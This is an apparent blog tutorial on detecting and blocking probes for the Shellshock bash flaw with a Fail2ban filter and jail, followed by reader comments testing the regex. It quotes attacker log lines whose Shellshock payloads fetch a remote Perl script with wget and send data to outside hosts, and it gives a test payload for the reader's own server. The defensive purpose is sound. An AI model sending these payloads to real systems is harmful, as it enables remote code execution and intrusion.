Shellshock BASH probe alert using Fail2ban

"Shellshock" is the nickname for a recently discovered vulnerability in GNU BASH (Bourne-Again SHell) that has the potential to allow an attacker to execute arbitrary commands through carefully crafted environment variables (see CVE-2014-6271).

This is bad for desktop users, but far worse for servers because it's possible to exploit this vulnerability by attacking CGI scripts. The CGI script doesn't even have to be written in BASH; on distributions that use BASH as the default shell, the environment variables will be passed to BASH before any CGI script is executed. Luckily, the default shell in Debian is DASH, which limits the problem for Debian derivatives like Ubuntu and Raspbian.

If you run a Linux or UNIX-like system that uses BASH, you should update to the new patched version now. In fact, most Linux users probably updated before they even realised anything was wrong, since the patched version was available in the repositories very quickly. Meanwhile, Mac users were still waiting for Apple to comment... lol.

Evidence of vulnerability probing

So, now that the vulnerability is public, crackers are probably trying their best to determine which systems are vulnerable and assemble a huge botnet, right? You betcha. Here are some extracts from my Apache logs over the last couple of days:

24.251.197.244 - - [25/Sep/2014:09:55:10 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
109.95.210.196 - - [25/Sep/2014:17:52:45 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 565 "-" "() { :;}; /bin/bash -c \"/usr/bin/wget http://singlesaints.com/firefile/temp?h=samhobbs.co.uk -O /tmp/a.pl\""
166.78.61.142 - - [25/Sep/2014:17:54:03 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"
93.103.21.231 - - [26/Sep/2014:03:17:21 +0100] "GET / HTTP/1.1" 301 513 "-" "() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://samhobbs.co.uk/'"

You know what? I don't like people probing my system like this. Here's how to block them and send yourself a notification when you've been probed.

Using Fail2ban to raise the alarm and block attackers

Please note that this method wouldn't actually protect your system from the initial attack: if you were running a vulnerable version of BASH then the initial request could have compromised the server already. I'm assuming you have upgraded to a patched version of BASH, so you're just interested in sending yourself a notification email, and blocking attackers from doing any further penetration testing (if someone is doing this to your server, then they're probably up to no good)! If you wanted to block that initial request, ModSecurity would be the tool for the job.

If you haven't used Fail2ban before, you might find my introduction to Fail2ban tutorial helpful at this point. If you already have Fail2ban set up, then continue...

First, we need to create a new filter that will match the requests above:

sudo nano /etc/fail2ban/filter.d/shellshock-scan.conf

Add this text, then save and close the file:

# instaban hosts scanning for shellshock vulnerability        
                                                              
# example:                                                        
# 94.102.60.177 - - [26/Sep/2014:16:58:39 +0100] "GET /cgi-bin/test.cgi HTTP/1.1" 301 545 "-" "() { x;};echo;echo 123456ololo | md5sum"                              
                                                                        
[Definition]                                                            
failregex  = ^<HOST> - - (?:\[[^]]*\] )+\"GET.*HTTP/1.(0|1)\".*(};|}\s;).*        
ignoreregex =

Now all that's left is to add a new jail to /etc/fail2ban/jail.local like so:

# instaban hosts scanning for shellshock vulnerability
[shellshock-scan]
enabled = true
filter = shellshock-scan
# email only
#action = sendmail-whois[name=shellshock-scan, dest=root@yourdomain.com, sender=fail2ban@yourdomain.com]
# email and block
action = iptables-multiport[name=shellshock-scan]
        sendmail-whois[name=shellshock-scan, dest=root@yourdomain.com, sender=fail2ban@yourdomain.com]
logpath = /var/log/apache2/*/*access.log
bantime = 3600
findtime = 60
maxretry = 1

Note that I've included two different action options: one that sends a notification email complete with reverse DNS lookup when you get probed, and another that does this as well as adding a rule to your firewall that will block the offending IP address for 1 hour. Choose which one you want to use, and comment out the other one. In both cases, only one match is required for action to be taken.

Edit your logpath to match all of the instances of apache you have running, and change your dest and sender parameters in the sendmail command to appropriate email addresses for your domain.

Now reload fail2ban:

sudo service fail2ban reload

Testing

Testing from your own LAN is no good, since you've probably whitelisted that IP range. A good way to test whether fail2ban is working is to use a phone with busybox installed.

On Android, you can install the Android Terminal Emulator app (free software, get it from F-Droid or Google Play) and then use wget to make the request using mobile internet so that the request comes from outside your LAN:

wget -U "() { test;};/usr/bin/touch /tmp/VULNERABLE" yourdomain.com/cgi-bin/test

You should see something like:

Connecting to samhobbs.co.uk (195.166.151.235:80)
wget: not an http or ftp url: https://samhobbs.co.uk/cgi-bin/test

And your chosen action should be executed.

That's it! Now you'll have a feel for just how mad all of those script kiddies are going with this vulnerability.

Type: 

Comments

What about blocking this ? My regex skills are pretty much non-existant.

50.193.119.109 - - [02/Oct/2014:16:54:10 -0400] "GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; HTTP/1.0" 302 564 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;"

I just tested the filter against your log extract and it matches. Here's how: I created a file called testshellshock.log and pasted the log extract into it, and then ran this command:

fail2ban-regex testshellshock.log /etc/fail2ban/filter.d/shellshock-scan.conf

Here's the output:

Running tests                                                                                
=============                                                                                
                                                                                             
Use   failregex file : /etc/fail2ban/filter.d/shellshock-scan.conf                           
Use         log file : testshellshock.log                                                    
                                                                                             

Results
=======

Failregex: 1 total
|-  #) [# of hits] regular expression
|   1) [1] ^<HOST> - - (?:\[[^]]*\] )+\"GET.*HTTP/1.(0|1)\".*(};|}\s;).*
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [1] Day/MONTH/Year:Hour:Minute:Second
`-

Lines: 1 lines, 0 ignored, 1 matched, 0 missed

How to test a regex is included in my fail2ban tutorial in case you missed it.

Learning how to use regular expressions is really useful, I started with some Perl scripts since the perl's regex is commonly accepted to be the reference implementation (everyone else calls it PCRE or "Perl Compatible Regular Expressions"). I've used it to help administer this site, and also to do some useful things like extract data from some files at work that you normally can't open without a license for some very expensive software (we have licenses, just not enough of them, and I didn't want to sit around waiting). The files were in human readable format, so I used Perl to match some patterns and pull out the bits I needed, and then write the data to a spreadsheet.

Definitely look into it if you have the time and want to learn something worthwhile!

Sam

Add new comment